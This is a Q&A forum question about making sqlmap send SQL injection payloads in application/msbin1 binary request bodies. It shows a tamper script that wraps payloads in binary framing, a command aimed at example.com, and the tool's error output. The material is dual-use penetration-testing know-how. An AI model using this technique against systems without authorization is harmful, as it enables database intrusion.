0

I'm attacking an application that reads in application/msbin1 (binary) requests of a form like

@\x17GetConfigurationSetting\x08\x1ehttp://tempuri.org/@\x04name\x99\x0einjection_site\x01

(where \x.. is a single byte character, generally indicating the length of the string. What l want to do is have sqlmap attack the injection_site using a tamper script like

#!/usr/bin/env python

from lib.core.data import kb
from lib.core.enums import PRIORITY
import string

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    orig = payload.encode()
    pl = b'injection_site' + orig
    out = b'@\x17GetConfigurationSetting\x08\x13http://tempuri.org/@\x04name\x99' + \
        chr(len(pl)).encode() + pl
    print(out)
    return out

but, when l run sqlmap l'm told that tamper scripts can't return binary data. (The print statement is to confirm that the tamper script is doing the thing l expect it to).

$ sqlmap.py --proxy http://localhost:8080 -u 'https://example.com/endpoint' -H 'Content-Type: application/msbin1' --method POST --data '*'`cat bindat`  --tamper path/to/tamper.py 
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.2.16#dev}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:48:08 /2021-05-28/

[14:48:08] [INFO] loading tamper module 'tamper'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] 
[14:48:10] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[14:48:10] [INFO] testing if the target URL content is stable
[14:48:10] [INFO] target URL content is stable
[14:48:10] [INFO] testing if (custom) POST parameter '#1*' is dynamic
b'@\x17GetConfigurationSetting\x08\x13http://tempuri.org/@\x04name\x99\x13_injection_site9901'
[14:48:10] [CRITICAL] tamper function 'vps_tamper' returns invalid payload type ('<class 'bytes'>')

[*] ending @ 14:48:10 /2021-05-28/

Checking the source code, the only valid return type is str, but that seems wrong. How do l get sqlmap to send out the binary data l want it to?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.